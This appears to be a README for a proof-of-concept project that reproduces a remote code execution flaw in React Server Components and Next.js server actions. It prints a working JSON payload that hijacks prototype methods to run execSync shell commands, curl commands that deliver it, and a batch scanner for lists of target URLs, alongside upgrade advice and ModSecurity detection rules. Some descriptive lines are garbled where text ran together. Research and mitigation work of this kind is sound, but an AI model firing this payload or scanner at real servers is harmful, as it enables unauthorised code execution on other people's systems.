
This is a minimal MVP for reproducing the React2Shell (CVE-2025-55182) and Next.js RSC RCE (CVE-2025-66478) vulnerabilities.
This project is intended for security research and educational purposes only. Do not use it in production environments or on unauthorized systems.
CVE-2025-55182 is a critical vulnerability in React Server Components, affecting:
$@N syntax to get the internal Chunk objectthen method via $1:__proto__:thenthen method during await_formData.get to the Function constructornpm install
# or
yarn install
# or
pnpm install
npm run dev
The server will start at http://localhost:3000.
Use the provided test script:
# Test a single target
./test-exploit.sh http://localhost:3000
# Or directly with curl
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit-payload.txt
If the vulnerability exists, you will see output like uid= in the response (the result of the id command).
.
├── app/
│ ├── actions.ts # Server Actions (vulnerability trigger point)
│ ├── page.tsx # Main page
│ ├── layout.tsx # Layout
│ └── globals.css # Global styles
├── package.json # Dependency configuration (using affected versions)
├── next.config.js # Next.js configuration
├── test-exploit.sh # Single-target vulnerability test script
├── scan-targets.sh # Batch scanning script
├── exploit-payload.txt # Exploit payload file
├── Cve-2025-55182-modsecurity-rules.conf # ModSecurity protection rules
└── README.md # This file
Tests whether a single URL is vulnerable:
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000
Indicator: If the response contains uid= or gid=, the vulnerability exists.
Scan multiple target URLs in batch:
# Create target list file
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF
# Run batch scan
chmod +x scan-targets.sh
./scan-targets.sh targets.txt
The scan results will be saved to vulnerable_hosts.csv.
{
"then": "$1:__proto__:then", // Hijack the then method
"status": "resolved_model", // Control execution path
"reason": -1,
"value": "{\"then\":\"$B1337\"}", // Trigger Blob deserialization
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor" // Hijack to Function
}
}
}
npm install [email protected] [email protected] [email protected]
If you cannot upgrade immediately, you can deploy ModSecurity rules for temporary mitigation.
# 1. Install mod_security
sudo apt-get install libapache2-mod-security2
# 2. Copy the rules file
sudo cp modsecurity-rules.conf /etc/modsecurity/
# 3. Include the rules in Apache config
sudo vim /etc/apache2/mods-enabled/security2.conf
# Add: Include /etc/modsecurity/modsecurity-rules.conf
# 4. Restart Apache
sudo systemctl restart apache2
# 1. Install ModSecurity for Nginx
sudo apt-get install libnginx-mod-security
# 2. Copy the rules file
sudo cp modsecurity-rules.conf /etc/nginx/modsec/
# 3. Enable in Nginx config
sudo vim /etc/nginx/nginx.conf
# Add in http or server block:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
# 4. Restart Nginx
sudo systemctl restart nginx
ModSecurity rules will block the following characteristics:
$@N, $BN)__proto__, constructor:constructor)process.mainModule.require, require('child_process'))execSync, exec)_response, _chunks, _formData, _prefix)Next-Action, RSC-Action-ID)⚠️ Note: WAF rules are only a temporary mitigation measure and do not provide complete protection. Upgrading to the fixed version is necessary.
If your application may be affected:
test-exploit.sh script to test your applicationNext-Action requestsIf you want to test directly with curl (without scripts):
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Request-Id: b5dce965" \
--data-binary @exploit-payload.txt
If the response contains uid= or gid=, the vulnerability exists.
This project is for educational purposes only. Please comply with relevant laws and regulations when using this code.